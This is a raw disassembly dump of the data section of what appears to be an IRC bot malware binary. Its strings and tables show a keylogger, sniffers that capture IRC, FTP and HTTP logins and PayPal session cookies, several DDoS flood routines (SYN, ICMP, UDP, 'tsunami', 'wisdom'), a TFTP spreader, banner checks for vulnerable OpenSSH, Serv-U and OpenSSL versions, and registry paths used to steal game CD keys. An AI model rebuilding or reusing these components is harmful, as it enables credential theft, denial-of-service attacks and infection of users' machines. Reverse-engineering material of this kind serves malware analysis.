		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
dword_435238	dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43551C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
		align 4
asc_43554C:				; DATA XREF: ___:00411C40o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435E10
		dd offset off_435E0C
		dd offset off_435E08
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:004355A4o
		align 4
off_435E08	dd offset word_505446	; DATA XREF: ___:004355A0o
off_435E0C	dd offset dword_435238+11h ; DATA XREF:	___:0043559Co
off_435E10	dd offset word_544F42	; DATA XREF: ___:00435598o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412361+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412361+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412361+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360F4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190	db  2Dh	; -		; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4361C0	db  2Dh	; -		; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436214	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B09+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43643C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386C+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43682C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415135+35o
dword_436840	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436878	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43688C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
dword_4368A0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:0041536Ao
		dd 6574656Ch, 0
		dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368EC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A7Ch, 437A70h,	437A60h, 2 dup(0)
		dd 80000001h, 437A40h, 437A3Ch,	437A28h, 2 dup(0)
		dd 80000001h, 437A04h, 437A3Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 4379CCh,	4379B8h, 2 dup(0)
		dd 80000001h, 4379A4h, 437994h,	437978h, 2 dup(0)
		dd 80000001h, 437934h, 437ABCh,	437920h, 2 dup(0)
		dd 80000002h, 4378F4h, 4378E8h,	4378C8h, 2 dup(0)
		dd 80000002h, 437894h, 437ABCh,	43787Ch, 2 dup(0)
		dd 80000002h, 437848h, 437ABCh,	437830h, 2 dup(0)
		dd 80000002h, 437818h, 437ABCh,	437800h, 2 dup(0)
		dd 80000002h, 4377C4h, 43D808h,	4377B4h, 2 dup(0)
		dd 80000002h, 43777Ch, 43D808h,	437768h, 2 dup(0)
		dd 80000002h, 43771Ch, 43D808h,	4376FCh, 2 dup(0)
		dd 80000002h, 4376ACh, 43D808h,	437680h, 2 dup(0)
		dd 80000002h, 437644h, 43D808h,	437630h, 2 dup(0)
		dd 80000002h, 4375F8h, 43D808h,	4375E8h, 2 dup(0)
		dd 80000002h, 437598h, 43D808h,	43756Ch, 2 dup(0)
		dd 80000002h, 43752Ch, 43D808h,	437510h, 2 dup(0)
		dd 80000002h, 4374E0h, 43D808h,	4374C0h, 2 dup(0)
		dd 80000002h, 437484h, 43D808h,	437470h, 2 dup(0)
		dd 80000002h, 437428h, 43D808h,	437408h, 2 dup(0)
		dd 80000002h, 4373B4h, 43D808h,	437384h, 2 dup(0)
		dd 80000002h, 437334h, 43D808h,	437308h, 2 dup(0)
		dd 80000002h, 4372C8h, 4372C0h,	4372A0h, 2 dup(0)
		dd 80000002h, 43725Ch, 43D808h,	437240h, 2 dup(0)
		dd 80000002h, 4371F4h, 43D808h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 43D808h,	437190h, 2 dup(0)
		dd 80000002h, 43715Ch, 43D808h,	437150h, 2 dup(0)
		dd 80000002h, 43711Ch, 43D808h,	437110h, 2 dup(0)
		dd 80000002h, 4370DCh, 43D808h,	4370D0h, 2 dup(0)
		dd 80000002h, 437094h, 43D808h,	437080h, 2 dup(0)
		dd 80000002h, 437044h, 43D808h,	437030h, 2 dup(0)
		dd 80000002h, 437000h, 437ABCh,	436FE4h, 2 dup(0)
		dd 80000002h, 436FC4h, 436FBCh,	436F98h, 2 dup(0)
		dd 80000002h, 436F7Ch, 436FBCh,	436F5Ch, 2 dup(0)
		dd 80000002h, 436F3Ch, 436FBCh,	436F18h, 2 dup(0)
		dd 80000002h, 436F00h, 436FBCh,	436EFCh, 2 dup(0)
		dd 80000002h, 436EE0h, 436ED0h,	436EC8h, 2 dup(0)
		dd 80000002h, 436E94h, 42C910h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E40h, 436E34h,	436E0Ch, 436DFCh, 436DE8h
		dd 80000002h, 436DC4h, 436DB8h,	436DA4h, 436D94h, 436D8Ch
		dd 80000002h, 436DC4h, 436DB8h,	436D60h, 436D94h, 436D58h
		dd 80000002h, 436DC4h, 436DB8h,	436D28h, 436D94h, 436D20h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
